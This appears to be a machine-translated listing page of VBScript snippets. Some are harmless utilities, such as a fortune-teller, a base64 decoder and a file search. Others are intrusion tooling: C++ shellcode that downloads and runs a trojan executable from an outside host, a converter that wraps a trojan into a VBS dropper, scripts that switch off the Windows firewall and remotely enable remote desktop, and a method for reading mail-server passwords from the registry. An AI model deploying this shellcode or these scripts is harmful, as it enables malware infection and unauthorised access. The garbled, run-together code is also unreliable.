• VBS fortune telling test: were you a man or a woman in your last life


    Copy codeThe code is as follows: Dim MyValue, Response,data,thisd  data=”30007|22899|22934″  thisd=Split(data, “|”, -1, 1)  Initialize the random number generator.  Do Until Response = vbyes  A random number between in3 and mynd = 1.     result=”&#”&thisd(MyValue-1)     If result=”&#22934″ Then result=”&#20154&#22934″  Set objExplorer = WScript.CreateObject(“InternetExplorer.Application”)  objExplorer.Navigate “about:blank”   objExplorer.ToolBar = 0  objExplorer.StatusBar = 0  objExplorer.Visible = 1  objExplorer.height=300  objExplorer.width=400  objExplorer.left=400  objExplorer.resizable=0  objExplorer.Document.Body . innerHTML: “you were” & resultResponse = msgbox (“confirm?”, vbyesno)Loop  Save the above code as VBS suffix, double-click it. […]

  • VBS version of decryption base64 encryption script


    Copy codeThe code is as follows: Function fDecode(sStringToDecode)  ‘This function will decode a Base64 encoded string and returns the decoded string.  ‘This becomes usefull when attempting to hide passwords from prying eyes.  Const CharList = “ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/”  Dim iDataLength, sOutputString, iGroupInitialCharacter  sStringToDecode = Replace(Replace(Replace(sStringToDecode, vbCrLf, “”), vbTab, “”), ” “, “”)  iDataLength = Len(sStringToDecode)  If iDataLength Mod 4 <> 0 Then  fDecode = “Bad string passed to fDecode() function.”  Exit Function  End If  For iGroupInitialCharacter = 1 To iDataLength Step 4  Dim iDataByteCount, iCharacterCounter, sCharacter, iData, iGroup, sPreliminaryOutString  iDataByteCount = 3  iGroup = 0     For iCharacterCounter = 0 To 3      sCharacter = Mid(sStringToDecode, iGroupInitialCharacter + iCharacterCounter, 1)       If sCharacter = “=” Then        iDataByteCount = iDataByteCount – 1        iData = 0       Else        iData = InStr(1, CharList, sCharacter, 0) – 1         If iData = -1 Then          fDecode = “Bad string passed to fDecode() function.”          Exit Function         End If       End If      iGroup = 64 * iGroup + iData     Next  iGroup = Hex(iGroup)  iGroup = String(6 – Len(iGroup), “0”) & iGroup  sPreliminaryOutString = Chr(CByte(“&H” & Mid(iGroup, 1, 2))) & Chr(CByte(“&H” & Mid(iGroup, 3, 2))) & Chr(CByte(“&H” & Mid(iGroup, 5, 2)))  sOutputString = sOutputString & Left(sPreliminaryOutString, iDataByteCount)  Next  fDecode = sOutputString  End Function VBS code package

  • Sending email with attachment by vbs


    function Send_mail(You_Account,You_Password,Send_Email,Send_Email2,Send_Topic,Send_Body,Send_Attachment)  ‘code by NetPatch ‘VBS send mail parameter description‘You_ Account: your email account number‘You_ Password: your email password‘Send_ Email: primary email address‘Send_ Email 2: alternate email address‘Send_ Topic: email subject‘Send_ Body: message content‘Send_ Attachment: mail attachment You_ID=Split(You_Account, “@”, -1, vbTextCompare)  ‘the account and the server are separatedMS_Space = “http://schemas.microsoft.com/cdo/configuration/” ‘This is a must, but you can rest assured that you won’t send […]

  • IMail cipher encryption algorithm and VBS implementation


    All iMail’s post office information, such as users and passwords, is actually stored in the computer registry, so you only need toOpen the registry to see all the information in iMail, including the user’s passwordDetails:IMail stores all enterprise post office information in:HKEY_LOCAL_MACHINE\SOFTWARE\Ipswitch\IMail\Domains\<DOMAINNAME>\Users\<USERNAME> In such a key, domainname is the post office name, and the user […]

  • VBS searches the file name or gets the directory list


    ‘a small program on the Internet has been changed to be a little more convenient. This search efficiency is very good. Copy codeThe code is as follows: on error resume next  Dim keyWord, DirTotal, TimeSpend, FileTotal, Fso, outFile, txtResult, txtPath, sPath   Const MY_COMPUTER = &H11&  Const WINDOW_HANDLE = 0  Const OPTIONS = 0  Set objShell = CreateObject(“Shell.Application”)  Set objFolder = objShell.Namespace(My_Computer)  Set objFolderItem = objFolder.Self  strPath = objFolderItem.Path  Set objFolder =  objShell.BrowseForFolder (WINDOW_ Handle, “select the folder you want to search for:” options, strpath)If objFolder Is Nothing Then  Msgbox “you have not selected […]

  • Judging script of system patch with vbs


      Set objSession = CreateObject(“Microsoft.Update.Session”) Set objSearcher = objSession.CreateUpdateSearcher Set objResults = objSearcher.Search(“Type=’Software’”) Set colUpdates = objResults.Updates For i = 0 to colUpdates.Count – 1    ‘ If colUpdates.Item(i).Title = _        ‘ “Security Update for Windows XP (KB899587)” Then         ‘If colUpdates.Item(i).IsInstalled <> 0 Then             ‘Wscript.Echo “This update is installed.”            ‘ Wscript.Quit         ‘Else             ‘Wscript.Echo “This update is not installed.”           ‘ Wscript.Quit         ‘End If    ‘ End If    wscript.echo colUpdates.Item(i).Title Next ‘Wscript.Echo “This update is not installed.” How to turn off the Windows XP Service Pack 2 firewall? Set objFirewall = CreateObject(“HNetCfg.FwMgr”)Set objPolicy = objFirewall.LocalPolicy.CurrentProfile objPolicy.FirewallEnabled = FALSESet objFirewall = CreateObject(“HNetCfg.FwMgr”)Set objPolicy = objFirewall.LocalPolicy.CurrentProfile objPolicy.FirewallEnabled = FALSE

  • Fix VBS ActiveX exploit


    C + + code Copy codeThe code is as follows: #include <stdio.h>      #include <string.h>      unsigned char shellcode[] =      “\xEB\x54\x8B\x75\x3C\x8B\x74\x35\x78\x03\xF5\x56\x8B\x76\x20\x03”     “\xF5\x33\xC9\x49\x41\xAD\x33\xDB\x36\x0F\xBE\x14\x28\x38\xF2\x74”     “\x08\xC1\xCB\x0D\x03\xDA\x40\xEB\xEF\x3B\xDF\x75\xE7\x5E\x8B\x5E”     “\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5E\x1C\x03\xDD\x8B\x04\x8B\x03”     “\xC5\xC3\x75\x72\x6C\x6D\x6F\x6E\x2E\x64\x6C\x6C\x00\x43\x3A\x5C”     “\x55\x2e\x65\x78\x65\x00\x33\xC0\x64\x03\x40\x30\x78\x0C\x8B\x40”     “\x0C\x8B\x70\x1C\xAD\x8B\x40\x08\xEB\x09\x8B\x40\x34\x8D\x40\x7C”     “\x8B\x40\x3C\x95\xBF\x8E\x4E\x0E\xEC\xE8\x84\xFF\xFF\xFF\x83\xEC”     “\x04\x83\x2C\x24\x3C\xFF\xD0\x95\x50\xBF\x36\x1A\x2F\x70\xE8\x6F”     “\xFF\xFF\xFF\x8B\x54\x24\xFC\x8D\x52\xBA\x33\xDB\x53\x53\x52\xEB”     “\x24\x53\xFF\xD0\x5D\xBF\x98\xFE\x8A\x0E\xE8\x53\xFF\xFF\xFF\x83”     “\xEC\x04\x83\x2C\x24\x62\xFF\xD0\xBF\x7E\xD8\xE2\x73\xE8\x40\xFF”     “\xFF\xFF\x52\xFF\xD0\xE8\xD7\xFF\xFF\xFF”     “http://fenggou.net/muma.exe”;      int main()      {      Void (* code); / / convert shellcode to a function pointer with null parameter, and call* (int *) & code = shellcode;      code();      }  VBS code Copy codeThe code is as follows: […]

  • Management network card vbs script


    ‘dislan.vbs      ‘usage:   cscript   /nologo   dislan.vbs           Const   ssfCONTROLS   =   3         Sconnectionname = local connectionSenableverb = & enableSdisableverb = & disable   set   shellApp   =   createobject(“shell.application”)      set   oControlPanel   =   shellApp.Namespace(ssfCONTROLS)      set   oNetConnections   =   nothing      for   each   folderitem   in   oControlPanel.items     if    folderitem.name “Network and dial up connection” then  set   oNetConnections   =   folderitem.getfolder:   exit   for      end   if      next      if   oNetConnections   is   nothing   then      wscript.quit      end   if      set   oLanConnection   =   nothing      for   each   folderitem   in   oNetConnections.items      if   lcase(folderitem.name)     =   lcase(sConnectionName)   then      set   oLanConnection   =   folderitem:   exit   for      end   if      next      if   oLanConnection   is   nothing   then      wscript.quit      end   if      bEnabled   =   true      set   oEnableVerb   =   nothing      set   oDisableVerb   =   nothing      s   =   “Verbs:   ”   &   vbcrlf      for   each   verb   in   oLanConnection.verbs      s   =   s   &   vbcrlf   &   verb.name      if   verb.name   =   sEnableVerb   then        set   oEnableVerb   =   verb          bEnabled   =   false      end   if      if   verb.name   =   sDisableVerb   then        set   oDisableVerb   =   verb          end   if      next           if   bEnabled   then      oDisableVerb.DoIt      else    […]

  • A concise dictionary generator written in vbs


    How to use it ‘ use:cscript   this.vbs  >  dic.txt  Save the following code as this.vbs   Copy codeThe code is as follows: a=Array(1,2,3,4,”a”)  Function js1(n)  for i=1 to n  f=f&”f”&i&”&”  s=s&”For Each f”&i &” In a :wscript.echo “& f  s=Mid(S,1,Len(S)-1)&”:”  Next  js1=s  End Function  Function js2(n)  for i=1 to n  m=m & “Next” & “:”  Next  js2=m  End Function  lcx= js1(UBound(a)+1)&js2(UBound(a)+1)  lcx=Mid(lcx,1,Len(lcx)-1)  b=”a=Array(1,2,3,4,””a””):”&lcx  Execute b 

  • VBS code of file2vbs to convert any file into VBS file


    Tr4c3: in order to facilitate the use of DOS, I changed the input box to args. Copy codeThe code is as follows: ‘Program By xiaolu  ‘name:file2vbs.vbs  On error resume next  Set Args = Wscript.Arguments  If Args.length<>2 Then  Wscript.Echo “Usage:” & Wscript.ScriptName & ” c:\muma.exe c:\muma.vbs”  Wscript.Quit  End If  do while 1  fname = Args(0)  Set Ado = CreateObject(“adodb.stream”)  With Ado  .Type = 1  .open  .loadfromfile fname  ss = .read  End With  exit do  Loop  fname = Args(1)  Set Fso=CreateObject(“Scripting.FileSystemObject”)  Set File=fso.OpenTextFile(fname,2, True)  lens=lenB(ss) mod 500  For j=0 to int(lenB(ss)/500)-1  if j=0 then  File.writeline “ss=”””&Bin2Str(midb(ss,500*j+1,500))&”””_”  else  File.writeline “+”””&Bin2Str(midb(ss,500*j+1,500))&”””_”  end if  next  if lens>0 then  File.writeline “+”””&Bin2Str(rightb(ss,lens))&””””  else  […]

  • Using VBS to realize the script of acquiring computer hardware information_ Latest edition page 1 / 4


    Code 1: ‘******************************************************************************************* ‘Version:3.1 ‘adjust the error handling method and output the error information to the logfile file to view the cause of the scan failure “If the” RPC server unavailable “error occurs, it is because the remote host is not powered on “If there is an error other than” RPC server unavailable “, it […]

  • Windows 2003 open 3389 VBS code


    Author: LCXSource: VBS shop wmic RDTOGGLE WHERE ServerName=’%COMPUTERNAME%’ call SetAllowTSConnections 1 Remote: wmic / node: “remote machine name” user: “administrator / password:” LCX “rdtoggle where” servername =’remote machine name ‘call setallowtsconnections “1